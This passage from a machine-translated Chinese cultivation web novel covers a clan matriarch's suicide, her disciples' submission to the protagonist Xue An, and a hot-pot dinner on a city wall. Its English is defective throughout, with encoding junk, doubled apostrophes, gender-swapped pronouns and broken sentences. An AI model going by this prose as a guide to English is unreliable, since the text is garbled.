    The speed of sword light made many people too late to react.


    Xuan Hun was even more so scared that the soul was about to fly. If Qi Xuanfeng died here, she would have to bury with him.


    So she gave her life, rushed forward, and pushed Qi Xuanfeng aside.


    Click!


    After cutting off one of Xuanhun''s arms, the sword returned to Mu Guqing''s body.


    Qi Xuanfeng was safe and sound, except for a cold sweat, but didn''t suffer any harm.


    But the more this happens, the more afraid he will be, and he can''t help but exclaim: "You...have you already been seriously injured?"


    Seeing a sword fall in the air, Mu Guqing''s already pale complexion became more and more gray and defeated, and in the end it even became almost as transparent as white paper.


    She sighed softly, "What a pity! What a pity!"


    Then he raised his head and looked at the painful and sweaty profound soul with an arm cut off, "Do you really think it is worth it to betray your own race even at such a price? Don''t you know, no matter you What do you think you are just a dog in their eyes?"


    Xuan Hun was trembling slightly with pain, but he roared with resentment: "You are here to preach to me, Mu Guqing, you are dead today!"


    Although she said that, she didn''t dare to step forward.


    After all, the sword just now was really horrible. Who knows if she still has any cards?


    Qi Xuanfeng also took a few steps back timidly, and then said coldly: "Everyone, go together, I want to see how long this lady can last!"


    "Qi Shao. Wait a minute!"


    As he said, he saw Bai Chi of the Ancient Sword Protoss stepping forward, first looked at the long sword surrounding Mu Guqing very eagerly, then narrowed his gaze and said with a chuckle.


    "Good sword! I didn''t expect the well-known Patriarch Mu to have such a powerful swordsmanship!"


    Mu Guqing did not speak, but just listened quietly. After a while, she said calmly, "Who are you?"


    "Ancient Sword God Clan, Bai Chi! I have seen Patriarch Mu!" Bai Chi said with a smile, arching his hands slightly.


    "Ancient Sword God Clan... Haha!" Mu Guqing chuckled, but soon frowned slightly, as if he was enduring some tremendous pain.


    Qi Xuanfeng and others looked at each other, and they all saw the joy of each other''s eyes.


    This Mu Guqing obviously couldn''t hold it anymore.


    Bai Chi sighed pretending to be sympathetic, "Patriarch Mu, you were once a powerful man, somehow, seeing you like this, I really feel a little sympathetic!"


    Mu Guqing was silent.


    Bai Chi greedily glanced at the long sword, and then said lightly: "Actually, it is a miracle that you can hold it up to now. Why not, you give me this long sword, and I promise you a strong response. Some treatment will prevent you from suffering any tortured death! What do you think?"


    Actually, after coming in, Bai Chi had taken a fancy to the long sword in front of Mu Guqing''s knee.


    As the descendant of the Ancient Sword God Clan, although his cultivation is not as good as that of the dead Bai Chong, he still has vision.


    He could see the extraordinary of this long sword at a glance.


    That''s why it is at this time to express sympathy.


    After Mu Guqing was silent for a while, he suddenly chuckled, "What treatment the strong should deserve?"


    "That''s right!"


    "But... isn''t it the right place for the strong to die in battle?" Mu Guqing said coldly.


    Hearing this, Bai Chi''s expression sank, and he coldly snorted, "Patriarch Mu, I would say that as someone who respects you, and after you die, won''t this long sword still fall into my hands? So Now give it out obediently, you can still suffer less! Otherwise..."


    Bai Chi looked at Mu Guqing''s haggard but beautiful cheeks, and said with a smile: "I can''t guarantee that you will not receive any unbearable treatment!"


    ''S words made Qi Xuanfeng and the others laugh.


    "Yes, surrendering obediently will make you suffer less!"


    In the noise of the drum, Mu Guqing suddenly laughed, then turned his head to look at Xuanhun, and said lightly: "Did you see it? This is the Protoss you want to take refuge in! In their eyes, we are just playthings!"


    Xuan Hun''s complexion changed, but he still snorted coldly, "Mu Guqing, let''s talk less nonsense, you are surrendering to the adults now, but there is still time!"


    "Surrender?" Mu Guqing shook his head and chuckled, but there was a resolute look in his eyes, "Although I am a woman, I never want to endure humiliation and be a slave to others!"


    "You..." Xuanhun suddenly changed his expression.


    At this moment, I saw Mu Guqing holding the sword in his hand, stood up with difficulty, looked around the crowd, then pointed the sword forward, and said indifferently: "Let''s go together!"


    "Looking for death!" Bai Chi was the first to rush up uncontrollably.


    He really coveted the sword in Mu Guqing''s hand, so he rushed forward without hesitation.


    But when he was just halfway through, Mu Guqing raised his hand and cut it down with a sword.


    Boom, a glamorous sword light came straight to Bai Chi, and instantly blocked all his retreats.


    Bai Chi was horrified, "How is it possible!"


    But this sword was about to be physically present, in desperation, Bai Chi had no choice but to urge the sword intent, a sword light suddenly appeared in his hand, and then he went up hard.


    boom!


    After ���� there was a loud noise, but seeing Bai Chi''s figure was shaken, he was screamed and flew out.


    After ���� waited hard to land, the clothes on his chest were cut to pieces by the sword light, and Bai Chi almost broke his stomach.


    At this time, everyone was shocked.


    Bai Chi was even more furious but there was also a look of fear in his eyes.


    After all, if he didn''t hide fast, this sword would have killed him half-life.


    can be at this moment.


    Mu Guqing''s figure suddenly began to shake violently, and then he opened his mouth and spit out a big mouthful of blood.


    And there are many visceral fragments in the blood, which obviously hurt the root.


    Seeing this scene, Bai Chi and others looked at each other, and then shouted in unison: "She''s dying, let''s do it together!"


    said, these people all rushed up.


    In their opinion, this time the siege must have been stable.


    But at this moment, Mu Guqing, who was already despondent, suddenly burst into a bright cold light in his eyes, and his momentum soared instantly.


    "Not good!" Bai Chi and the others screamed back and forth again and again.

 Chapter 1131： Tragic death

    But Mu Guqing didn''t do anything, just lowered his head and chuckled at the sword in his hand.


    "Goodbye, old man! I remember when I get to Anna, I should live and protect her!"


    After saying that, she suddenly shouted, raised her hand, and swung a sword.


    This long sword made a mournful cry, as if crying, and then it was pierced directly into the void by Mu Guqing and disappeared.


    Seeing this scene, Bai Chi was shocked, and then roared unwillingly, "Dare you bitches!"


    Only then did he realize that this Mu Guqing actually sent this long sword through the void at the cost of burning his soul.


    Now, his wishful thinking has all come to nothing.


    "I will humiliate you to death!" Bai Chi roared hysterically, and he was about to rush forward.


    Mu Guqing glanced at everyone with disdain, Chong Xuanhun coldly smiled.


    "I look forward to the day you regret it!"


    Then she leaped up, and cast a decisive attitude towards the cold spring that exuded.


    "She is going to commit suicide, stop her!" Xuanhun exclaimed in shock.


    Needless to say, Qi Xuanfeng, Bai Chi and others have directly moved their hands to stop Mu Guqing.


    But everything is too late.


    Mu Guqing had clearly planned everything. When these people''s attacks arrived, Mu Guqing''s speed of whereabouts suddenly accelerated, and he plunged into this spring in a flash.


    There was a dead silence in the main hall, Mu Guqing''s fall did not arouse the slightest ripples of the spring, only the cold air still drifting upward.


    "Dead...dead?" Qi Xuanfeng asked in shock.


    Xuanhun smiled and nodded, "Master Xuanfeng, under the siege of you and the adults, this Mu Guqing knows he is guilty and has committed himself to death, and his soul is destroyed!"


    Snapped!


    Qi Xuanfeng slapped the face and said angrily: "Asshole thing, I wanted to take her back. Now she committed suicide, are you still happy?"


    Xuanhun was shocked by the fan, but he did not dare to resist the slightest bit of resistance. He had to cover his cheek with his hand, and nodded and said: "Yes, Master Xuanfeng calmed down, I was wrong!"


    "Really dead?" Bai Chi still didn''t believe it.


    Xuan Hun hurriedly said: "This is the most gloomy spring that has never changed since ancient times. Not to mention Mu Guqing, even a king-level or even an ancient god-level powerhouse will be completely destroyed if she enters it! So she must be dead. Die again!"


    Despite being unwilling to do so, but the matter is over, Qi Xuanfeng, Bai Chi and others have no choice but to accept it.


    Fortunately, there are still many things left by the Taiyin Protoss, and there are many treasures among them, and they can be considered as good for business after they are brought back.


    Just when Qi Xuanfeng led the crowd to search for treasures in the Taiyin Pool.


    In the area bordering the Sifang Huanyu and the Cursed City, Zhong An''an and a group of Lunar Protoss are rushing!


    Along the way, they dare not stop for the slightest, for fear that there will be chasing soldiers coming back.


    Fortunately, the territory of the Cursed City is in front of me.


    Everyone secretly breathed a sigh of relief.


    But at this moment, I saw ripples in the void above the team, and then saw a sword light rushing out, surrounding the crowd at an extremely fast speed.


    Everyone was shocked, and then they saw the sword light flying directly to Zhong An''an in front of the crowd, and after a circle, let out a mournful cry.


    When Zhong Anan saw this sword, his whole body was shocked, and his face was as pale as paper instantly.


    "This...this is the master''s sword!"


    Then she felt that the seemingly non-existent connection with Mu Guqing was completely disconnected.


    This made Zhong Anan stay in place as he was struck by lightning.


    At this time, all the elders also recognized the sword, and their expressions changed drastically.


    "The patriarch! The old patriarch..."


    Zhong An''an trembling hands, gently stroking this long sword, and then said with tears of blood: "Master...her old man is gone!"


    Boom!


    Zhong An��an��s words seemed like a bolt from the blue sky, which shocked all the people of the Lunar Protoss.


    Then everyone burst into tears.


    "Old Patriarch!"


    "Patriarch Mu!"


    Among these shouts.


    Zhong An calmly fell to his knees.


    She knelt, and everyone behind them fell to the ground.


    At this moment, Zhong An��an has already burst into tears.


    She has always been a calm and sensible woman. She always feels that crying is a boring act, and it doesn''t help at all.


    But at this moment, her tears could not stop falling.


    Everyone also sobbed in low voices.


    But soon, Zhong Anan wiped away the tears from his face, and a ray of determination appeared in his eyes.


    "Don''t cry, Master is gone, what we can do now is to avenge her!" At this point, Zhong Anan turned his head and looked around everyone, saying every word: "Because of the blood of the enemy, More comforting than tears! Understand?"


    "Understood!" everyone shouted in unison.


    At this time, Zhong Anan tore the corner of a white robe and tied it on his forehead.


    All the people of the Taiyin Protoss followed her movements, tearing off the corners of their clothes and putting them on their heads.


    In an instant, the whole team was perfect.


    Zhong An got up slowly, holding the long sword suspended in mid-air, and said indifferently: "Go!"


    The eyes of all the tribesmen were filled with bone-to-the-bone cold, and they walked forward silently.


    is like a team walking out of hell, murderous!


    Cursed City.


    This is the third day, but the entire cursed city is deserted, let alone the rich, even an ordinary force has not come.


    Such scenes silenced many people.


    Because everyone knows what it means.


    Three days have passed since the ten-day appointment, and the news must have spread, but no one came. Obviously all the rich are watching the excitement!


    Especially Chu Xiaoyun also heard that the wealthy people in the Quartet are gathering, which makes her even more worried.


    is different from her worry. In the past three days, Xue An''s life is very leisurely.


    When it��s okay, I accompany my two daughters to play games and eat snacks, or just chat with An Yan.


    didn''t look at all anxious.


    Seeing this scene, Chu Xiaoyun was a little bit dumbfounded.


    She suddenly discovered that Xue An never seemed to be worried.


    Could it be that the Lord has made a decision?


    Chu Xiaoyun thought about it.


    But she did not dare to ask, so she had to hold all the questions in her heart.


    On this day, the door of the Cursed City was as deserted as usual.


    Chu Xiaoyun sat blankly in the city lord��s mansion in a daze.


    She hopes that someone can come here, at least it doesn''t seem so embarrassing.


    Can waited for an hour with staring eyes, but found nothing.


    Chu Xiaoyun shook his head and smiled bitterly, stood up and prepared to go to the back house.


    But at this moment, she turned around suddenly and looked at the distant sky in horror.


    "What a powerful murderous intent, this...this is..."


    At this moment, there was a light laughter beside her.


    "It''s still keeping the promise, but it''s really here!"


    said, Xue An''s figure emerged from the void, then turned his head and smiled at Chu Xiaoyun.


    "Let''s go, go and meet this lunar protoss who rushed here!"

 Chapter 1132： Ive covered this hatred

    When Zhong An''an and his party appeared under the city, they immediately attracted countless eyes.


    After all, Zhong An''an and his group are all beautiful women.


    The gathering of so many high-quality beauties is a very seductive thing in itself.


    But at this moment, with Zhong An''an as the leader, all the women have cold faces, white scarfs on their heads, and the whole team is plain.


    The atmosphere is solemn to almost depressing.


    This also gradually calmed down the onlookers.


    And when Xue An walked up the city wall, after seeing this scene, he couldn''t help but stunned for a while, and then suddenly smiled, stepped on the void, and walked slowly.


    Zhong An''an raised his head, looking at the young man in white with complicated eyes.


    And the crowd behind her was a slight commotion.


    Taiyin people can guess that the person who came should be Xue An as the new patriarch said.


    But they never expected that Xue An, who had travelled a long distance, would be so young that he even looked like a teenager.


    This made many elders feel a hint of surprise.


    At this time, Xue An has come to Zhong An''an and the others, and then smiled at Zhong An''an, "You really kept your promise!"


    Zhong An''an took a deep breath, then knelt on one knee slowly.


    She knelt, and the Taiyin tribe behind her knelt down on one knee after a moment.


    Then Zhong An''an said in a deep voice: "Zhong An''an, the chief of the Taiyin Protoss clan, leads all the clansmen, and is willing to surrender to the adults!"


    Then the entire Taiyin tribe all shouted in unison: "Taiyin Protoss, I wish to submit to the adults!"


    Its sound shook the sky.


    Xue An laughed loudly, "Okay! In that case, get up!"


    Zhong Anan didn��t get up, instead, he raised his head and said with a sad expression: "Taiyin God Race, I only ask the adults to avenge me!"


    "Vengeance?" Xue An said lightly.


    "Yes!" Then, Zhong Anan recounted what happened.


    After listening, Xue An was silent.


    The atmosphere suddenly became tense.


    The people of the Taiyin Protoss all raised their hearts to their throats, especially many elders, who even stared at Xue An, feeling a little unreliable in their hearts.


    After all, this boy in white clothes is too young and too handsome!


    didn''t even have the slightest murderous aura, he looked just like an ordinary teenager.


    But Zhong Anan looked at Xue An earnestly.


    After a while, but seeing a faint smile on Xue An''s mouth, he nodded.


    "Okay! Since you rushed here, I will take care of you for this enmity! At that time, all the rich and powerful will not be able to run. What do you think?"


    Xue An��s voice was very indifferent, even as if she was talking about a trivial matter.


    But everyone from the Taiyin Protoss was dumbfounded.


    This tone... is too big!


    But Zhong Anan let out a sigh of relief, and then bowed his hand respectfully, "Thank you, sir!"


    Xue An smiled and waved his hand. All the kneeling people were invariably lifted up by a soft and huge force, and then Xue An turned around and said lightly: "Along the way, you have worked hard, let''s go. ! Follow me into the city!"


    Xue An''s inadvertent hand revealing shocked many people in the Taiyin Protoss.


    Especially those elders, their cultivation level is pretty good.


    But in front of Xue An, there was no resistance, and he was directly supported.


    At this time, many people can''t help but ignite a glimmer of hope.


    Maybe.


    This Xue An can really help us get revenge!


    But there are still many people who are still worried.


    After all, this cursed city looks too weak!


    No matter how great Xue An is, there is only one person.


    And the other party, but the entire cosmopolitan family!


    When the Taiyin Protoss arrived in the cursed city, Qi Xuanfeng and others had also returned to the Tianhuo Shenxuan.


    After he recounted what happened, the whole audience was upset.


    "What? All the people of the Taiyin Protoss ran away?" Someone was shocked.


    "Even the clan really fled to the cursed city, and the gang of women of the Taiyin Protoss is also cruel enough!" Someone exclaimed.


    "Tsk tsk, I am also wondering, what is the attraction of that cursed city, which can make the Taiyin Protoss even abandon its long-standing foundation?" Someone sneered.


    "I''m still young after all, and I haven''t seen many things thoroughly enough!" Someone sighed softly.


    Qi Sixiang and Bai Tu, who were sitting on the high platform, looked at each other.


    Then Qi Sixiang said lightly: "You said that Namu Guqing is also dead?"


    Qi Xuanfeng nodded, "That''s right! She plunged into the Taiyin Pool in front of us, and the dead can''t die anymore!"


    "Huh! It''s cheaper for her!" Bai Tu said coldly.


    And Xiao Xiao of the Five Elements God Sect licked his lips, "I heard that this woman has a stunning appearance, and I wanted to catch it back and enjoy it. It''s a shame!"


    Many people''s complexions changed slightly, and they were a little farther away from this fierce sky subconsciously.


    At this time, Qi Xuanfeng continued: "My father, this time it is not without gain. The people of the Lunar Protoss walked in a hurry and left a lot of treasures! I picked the most precious of them and brought them back!"


    said, he handed over a list.


    Qi Sixiang took a look at There was a touch of satisfaction in his eyes, and he rolled it up, then rolled it into the sleeves of his robe, and said lightly.


    "Mu Guqing, I have met several times. I can be called a strange woman. Unfortunately, I went astray, and in the end I was more than dead! As for this rebellious Taiyin Protoss..."


    Qi Sixiang turned his head and looked at the two of Xiongxiao and Baitu.


    "What do you think of them?"


    Fierce Xiao grinned and said: "What else can we look at? Now that we are strong and strong, we are naturally going to kill the Cursed City directly, take the Xue An who killed my disciple, and capture all the people from the Taiyin Protoss. Take it hard!"


    The fierce aura that radiated from these words made many people feel disgusted.


    seems to have expected Xiao Xiao to say this a long time ago, Qi Sixiang just smiled, and then turned to look at the white picture on the side.


    "What do you think of Patriarch Bai?"


    Baitu smiled, "Clan Chief Qi, since I am here at your invitation, then naturally you have to dominate the Skyfire God Clan, so it is better for you to make the decision. I won''t be able to take the lead!"


    Hearing these words, Qi Sixiang''s smile became more intense, and a touch of satisfaction flashed in his eyes, and then he nodded.


    "Since the patriarch Bai is so humbly, then I''m not welcome! What the fierce leader said just now is correct, this Xue An killed my son, I can''t wait to eat his flesh and drink his blood to dispel my hatred!"


    "And the defection of the Taiyin Protoss is even more unforgivable! It must be punishable!".


    Hearing this, Xiao Xiao smiled, waiting to speak.


    "But..." Qi Sixiang said, "I think this cursed city must be removed, but not now!"

 Chapter 1133： The situation is chaotic

    "Don''t worry, the cult leader, listen to me! This Xue An''s origin is unknown, but his strength is really not to be underestimated. This time he slaughtered the power of the Amaterasu gods and made me wait. Although it is wishful thinking, I should not underestimate the enemy! "


    "In addition, the Taiyin Protoss has taken refuge in him now, and his arrogance has become even more arrogant! So I think the best way for us now is to give him a prestige!"


    "Get off the horse? What get off the horse?" Xiao Xiao was taken aback.


    "It''s very simple. Didn''t he say that after ten days, I will wait to go to the Cursed City to show my surrender? Then let''s not move! When the ten-day period, except for the Taiyin Protoss, no one will go to the Cursed City. At that time, I saw how arrogant Xue An was!"


    The white picture on the side clapped and exclaimed: "Dashan! What the Chief Qi said is exactly what I meant! Although he Xue An is incomparably tyrannical, he is nothing but water with no roots and no source in front of the wealthy people I and other people have run for generations. Even if he is really a powerful dragon, facing this isolation and helpless situation, he has to say nothing!"


    Fierce Xiao lowered his head and thought for a moment, then turned his anger into joy, and grinned: "It sounds good!"


    Qi Sixiang chuckled, "Then let him dry for a few days. When the ten-day period is over, he will understand how much he has. When the morale plummets, we may not need to do it. He cursed him. The city will be destroyed by itself!"


    "Very good! Then I will be able to divide up the big cake of Amaterasu God''s Domain without any further effort!" Xiao Xiao laughed loudly.


    Qi Sixiang and Bai Tu glanced at each other, and couldn''t help smiling triumphantly.


    As for the other tycoons in the Tianhuo Shenxuan, they all lowered their heads, showing their awe and surrender.


    Now that the two races and one religion have clearly formed an alliance, no one dares to show awe in front of such a behemoth.


    This is also the reason why Xiao Xiao dared to be so unscrupulous and speak loudly.


    Finally, this gathering of wealthy families in the four directions has become a great integration of forces under the dominance of the Skyfire Gods, the Ancient Sword Gods, and the Five Elements Sect.


    All the wealthy clans were forcibly united together, and the principals were Qi Sixiang, Baitu, and Xiaoxiao.


    For a time, the entire Quartet world boiled.


    Soon, this news also spread into the Amaterasu God''s Domain, especially into the territory of the Cursed City.


    At this time, everyone who has heard the news can''t help but become disillusioned.


    All the wealthy families in the Quartet are united in one place. The purpose is self-evident, it must be to deal with the cursed city and to deal with Xue An.


    And such a behemoth is even more powerful than the previous Amaterasu gods.


    Now, many people who were very optimistic about Xue An can''t help but retreat at this moment.


    After all, in the eyes of everyone, no matter how good Xue An is, there is only one person.


    And what he is facing, but countless powerful people!


    And the surrender of the Taiyin Protoss became a joke among many people after dinner.


    Almost everyone thought that the Taiyin Protoss made a wrong move, and this time the Cursed City would definitely lose.


    As Zhong Anan who made this decision, he was naturally called immature and even naive by many people.


    Some people even think that she did this only because she wanted to take the position of the patriarch of the Taiyin Protoss, so she was also the murderer who indirectly killed Mu Guqing.


    These messy rumors are raging, making the situation more and more chaotic.


    To everyone''s expectation, the Cursed City, one of the parties involved in the incident, was suddenly silent at this moment.


    It''s as if the chaos of the outside world has no effect on it.


    But the more so, the more people think this is the cursed city or the performance that Xue An is already afraid of.


    This idea even affected many people in the Cursed City.


    But even so, Xue An still did not show up.


    Now, even the elders of the Taiyin Protoss can''t sit still.


    "My patriarch! Now that there is a rumor, do you think you want to come forward to explain?" an elder asked.


    Zhong Anan shook his head, "No, for many people, they only believe in what they want to believe. No matter what you explain, they won''t listen! Let them go. Anyway, the facts are not based on anyone''s words. change!"


    "But..." The elder paused, then hesitated to look at the City Lord''s Mansion outside the window.


    "Master Patriarch, although I know that this sentence shouldn''t be said, you can also see the current situation. The Heavenly Fire God Clan and other tycoons are united in one place, and the momentum is extremely large!"


    "Of course, I did not question what you and Mr. Xue mean, but no matter how powerful he is, he is just a person. How can he deal with so many people? In case things change, our Taiyin Protoss ...."


    Zhong An''an suddenly said coldly: "Okay, stop talking, I understand what you mean! You are here to ask if you can win this time, and what if you fail, right?"


    "Patriarch forgive me!" Several elders hurriedly bowed.


    "I don''t blame you, after all, you are also for the good of the Taiyin Protoss! But you have thought that there is no we now have no other way to choose. From the moment we walk out of the Taiyin pool, we will never Can''t look back!"


    All the elders heard the words in silence, because they knew that what Zhong Anan said was right.


    At this time, Zhong Anan smiled coldly, "But you think, if we didn''t leave, but went according to the edict of the fire, then what situation would we be like now?"


    "Become the plaything of those strong, wanton insults? Or even be treated as private property at will?"


    These words made the complexions of the Taiyin elders extremely ugly.


    "I don''t dare to say anything else, but I can assure you that our situation at that time was definitely worse than it is now! Because now we, even if we fail, at least our destiny is in our own hands!"


    Talking, Zhong Anan stood up, looked at the city lord��s mansion outside the window, and said lightly: "Since we chose this road, we have to go down even if we kneel! You, understand?"


    Several Taiyin elders showed shame on their faces, and then bowed their heads deeply, "Understood!"


    At this moment, Zhong An''an''s back figure became very tall in their eyes.


    At this moment, I only heard someone touching their palms and admiringly said: "That''s a good idea, you have to go on your own way, even if you are kneeling!"


    Following the voice, I saw Xue An walking slowly into the room, looking at everyone with a smile. .


    "I have seen adults!" Zhong An''an and all the elders present all bowed and saluted.


    Xue An waved his hand, "Okay! No need to be so polite, I just happened to pass by here. After hearing Miss Zhong''s words, I really couldn''t help it, so I sighed!"

 Chapter 1134： Its been 10 days

    "My lord is absurdly praised, you are..."


    Xue An smiled, and raised his hand. In his hand, there was a strange grass exuding vision.


    "The two little guys were arguing about eating fish, but they lost a taste of the condiments, so I went to the mountains outside the city to look for it. The result was good, but it was really there, and it was much richer than what I brought!


    As he said, Xue An was still a little excited.


    The elders of the Taiyin Protoss are all a little dumbfounded.


    When is this?


    Seeing that the ten-day period was about to come, this Master Xue didn''t want to deal with the tyrants who had joined together, but wondered how to cook?


    This sounds so magical.


    But Zhong An''an smiled sweetly, "My lord can cook!"


    "Hehe, I just know some cooking skills! No way, my daughter wants to eat, I will naturally do it!" Xue An smiled lightly.


    "I really envy the two daughters of adults, and I don''t know if I can taste it!" Zhong Anan said with a smile.


    Xue An laughed, "Well, since you want to eat, it''s nothing more than an extra pair of bowls and chopsticks. Come along!"


    "If this is the case, then I will be disrespectful!"


    Zhong An''an said with a smile, and then he really followed Xue An.


    The elders who had fallen into a petrified state stood in the room until after a while, these people looked at each other, and then one of them sighed.


    "Forget it, let it be your fate! If the fate of my Taiyin Protoss should be destroyed, then I have to admit it!"


    Everyone is silent.


    In this way, Xue An spends every day in comfort and leisure, without the slightest color of anxiety and worry.


    Time is like an arrow.


    Finally, the tenth day has arrived.


    When this day came, almost everyone in the Quartet World, Amaterasu God Realm, cast their eyes on the cursed city.


    Many people close to the cursed city rushed to watch the excitement.


    Of course, they didn''t dare to get closer, they all stood far away, wanting to see how Xue An, who praised Haikou, coped with the current situation.


    For a time, outside the cursed city, the sky was full of glory.


    People got together and talked in whispers.


    "Hey, this is the tenth day. It seems that, except for a lunar protoss whose head has been flooded, no wealthy clan has come to join him!"


    "Who said no! At first this Xue An let out his words, and if anyone does not come ten days later, he will be wiped out! Now that none of them come, I will see how he responds!"


    "Hey, how can you deal with it? Now that the wealthy families in the world have formed an alliance, how can such a behemoth be shaken by a mere Xue An? I think he will honestly admit his mistakes by then!"


    "He admitted that he was wrong, and the Heavenly Fire Gods and other tycoons would not let him go! Wait and see, this time it is lively!"


    Just as the crowd was talking about it, someone suddenly shouted, "Look at it!"


    Everyone turned to look around.


    I saw Xue An stepping out of the void, and behind him was a stunning beauty, beside her, she was leaning on two little girls who were carved and carved.


    In an instant, their party came to the wall of the cursed city and landed on it.


    What is he doing? And who is this beautiful woman with noble temperament and those two little girls?


    Everyone can''t help but frown, with some doubts.


    At the same time, I saw Xue An, like a trick, took out a lot of things from the void, including tables, chairs and benches as well as various ingredients.


    In an instant, everything was packed.


    But I saw a huge table placed on the city wall, full of various ingredients.


    But the most eye-catching thing is the big copper pot exuding steam in the middle of the table.


    This...Is this for dinner?


    Everyone who witnessed this scene couldn''t help being a little dumbfounded.


    Being watched by so many eyes, An Yan''s face was a little red, and she whispered: "Husband, are you really eating here?"


    Xue An smiled, "What''s the matter? There is a breeze here, it is a good place to eat hot pot! Do you think that?"


    Xue An lowered his head and asked his two daughters.


    "Yeah, Dad is right. The terrain is open and the food is really good!"


    Think about saying like a little adult.


    After watching an anime, thinking about the name Xue An, he upgraded from father to father.


    And Xue An is obviously satisfied with this title.


    As for Nian Nian....


    The little girl looked at the ingredients on the table with bright eyes, and did not hear Xue An��s question at all.


    And she muttered as she watched, "Look, look, that fluffy thing is a hairy belly! Suckling, I love to eat a hairy belly! Wow, look what it is, there is duck blood, it must be good Eat..."


    Hearing Nian Nian''s saliva about to flow out of himself, Xue An laughed and laughed, "It''s a real foodie! Sit down and eat!"


    The family sat together, and then began to eat like no one else.


    After eating a few bites, An Yan whispered, "Husband, we can''t finish eating so many things. Let Huying and Xiaoyu come out too!"


    Xue An nodded, "Good too!"


    After talking He put out a ray of spiritual thought, and directly pulled out the Huying and Zhang Xiaoyu who were playing games in the Fubao Xiaolou.


    Not only that, but the ball transformed by the rune that had previously been conquered in the Sea of ??Punishment also followed.


    As soon as I saw the steaming hot pot, the performance of Octopus was almost as good as that of Nian Nian, and his saliva was about to flow out.


    "Wow, hot pot! Come on! Put some fish **** and crab sticks, I love that one, what? Octopus balls, that''s better! Octopus meat is smooth and tender, and it tastes great!"


    Huying knocked Octopus on the head a little bit irritably, "Look at you! Is your own meat eating so exciting?"


    Octopus touched his head and smiled, "Sister Fox, do you know that our octopus''s hands can be regenerated, right? When I was too hungry in the sea before, I often eat my own tentacles. It''s really good!"


    "Huh, it really is Teppanyaki!" Fox Ying smiled.


    As soon as the name was mentioned, Zhang Xiaoyu was a little mad, "I said I am not! Teppanyaki is all squid!"


    "Is there any difference? They all have tentacles anyway!"


    "Of course, we octopus..." Then Zhang Xiaoyu began to talk about the difference between squid and octopus, but unfortunately, no one listened at all.


    Xue An saw that there was still a lot of room on the table, so he turned his head and looked in the direction of the City Lord''s Mansion, and said lightly: "Don''t look at it from a distance, come and eat together!"


    Following the voice, I saw a figure shaking in the distant darkness. .


    Then Chu Xiaoyun and Zhong Anan walked out of it.


    "My lord!" The two women bowed together.

 Chapter 1135： It is their blessing to be able to deal with them...

    Xue An nodded slightly, "Come and sit down!"


    The second daughter hesitated for a while, and finally walked over and sat down.


    Now, this huge table becomes lively.


    The two little girls and Zhang Xiaoyu feasted on it, and it was a great pleasure to eat.


    But Chu Xiaoyun and Zhong An''an have never eaten hot pot. In fact, with their current cultivation base, they don''t need to eat at all.


    But after a tentative sip, the two of them couldn''t help but shine.


    This taste... it''s just amazing! The key is that every bite contains powerful spiritual power.


    Xue An smiled, "It''s delicious! I have been visiting the surrounding mountains these days and found a lot of good ingredients. The bottom of this pot is made by boiling the spirit grasses that have been at least a thousand years old. These meats are also rare. The beasts and beasts that you see, take one bite, at least 50 years of cultivation skills of ordinary people!"


    Chu Xiaoyun and Zhong Anan were silly at hearing.


    They never thought of this way to refine their cultivation.


    and Hu Ying sighed very comfortably after eating frantically for a while, "Brother Xue, it''s been a long time since I have eaten the hot pot you personally prepared, it''s so delicious!"


    Xue An laughed blankly, "Is it so delicious?"


    Hu Ying nodded, "Hmm, it''s so fragrant! Although the ingredients may be almost inferior, but Brother Xue''s craftsmanship is definitely this!" Hu Ying extended a thumb.


    "If it tastes delicious, eat more!" Xue An said with a smile.


    Hu Ying looked at the surroundings with some confusion, especially when she noticed the dumbfounded crowd in the distance, she couldn''t help but frown, and asked softly: "Brother Xue, what''s the matter? Why are so many people watching over there? "


    Xue An said lightly: "It''s nothing, just a small matter!"


    Little things...


    This understatement made Chu Xiaoyun and Zhong An''an both smile at it.


    Huying still had some doubts, and then Xue An briefly told the story.


    After listening, Fox Ying pounded her chest, full of regret.


    "Brother Xue, why don''t you call me for such a lively thing? My strength is much stronger now than before! At least I can help you on the sidelines!"


    "You don''t need to fight, you can''t deal with these guys!" Xue An said calmly.


    Not only can these words be heard here, but the crowd in the distance can also hear them, and there is a commotion.


    "This Xue An is so crazy that he has no sides! If you can''t commit such a thing, then what can be considered!"


    "That''s right, it sounds like a laugh!"


    Many people whispered with mocking faces.


    After hearing what Xue An said, Hu Ying nodded her head for granted, "It is said, a group of gods who have been eliminated by the heavens a long time ago, it is their blessing that Brother Xue can deal with them. !"


    This sentence made everyone quiet, and then they all lost their words.


    Gods... should have been eliminated long ago, and it would be a blessing to be dealt with by Xue An...


    These words sound too harsh!


    The expressions of Chu Xiaoyun and Zhong An''an couldn''t help but change.


    They don''t even know what background this noble girl has, and even dare to speak like this.


    Huying didn''t notice these gazes, but chuckled slightly: "Brother Xue, today is the ten-day period, what are you going to do?"


    Xue An looked up at the sky, and said lightly: "What else can I do? I have given them a chance, but they don''t know how to cherish them, so I can''t blame me for being ruthless!"


    Hearing Xue An''s words, Hu Ying''s eyes were bright and beautiful, and the soft and charming eyes almost disappeared.


    This is the brother Xue who stands proudly above everyone in her memory and is in charge of life and death.


    But it seemed that he was aware of her gaze, and Xue An didn''t turn his head back, so he knocked her on the head.


    "What to look at, don''t hurry up and eat!"


    "Oh!" Huying touched her head painfully, then pouted and lowered her head to start eating.


    Xue An also took a few bites, then put down his chopsticks and started drinking slowly.


    Whenever the glass is empty, An Yan will fill it up for him.


    Time just passed cup by cup.


    When a round of light falls into the sky, the stars and the moon rise together.


    The atmosphere gradually became depressed.


    Because the ten-day period is getting closer and closer.


    The gates of the cursed city were wide open, but no one appeared in the distance.


    But the crowd of onlookers in the distance increased.


    There are even many good people who spread the scene here through the water mirror method.


    All the forces quietly looked at the white-clothed boy drinking glass by glass.


    Many people looked indifferent and ridiculed, thinking that Xue An��s move was nothing more than delaying time.


    Moreover, some people saw that Xue An drank a very drunk flower shade, this kind of wine usually has to fall to the ground for a drink.


    And he has drunk a dozen pots so far.


    With so much wine, even if the real immortal powerhouse is probably drunk, how can I honor what I said before?


    It can be seen that Xue An should want to cover this matter with wine!


    People have different minds, but without exception, they all feel that this ten-day appointment has become a joke.


    But none of them noticed that even though Xue An was drinking glass after glass, his eyes became clearer and clearer.


    Even at the end has been shining like stars and moons.


    at last.


    After a gust of breeze blows.


    Xue An raised his head to look at the sky full of stars and smiled faintly, "Alright, time is up!"


    The sound was not loud, but it spread to the audience in an instant, attracting everyone''s attention.


    At the same time, Xue An drank the wine in his glass, then slowly stood up amidst countless shocking and unbelieving gazes, stretched a long waist.


    "Fat and drink, it''s time to move!"


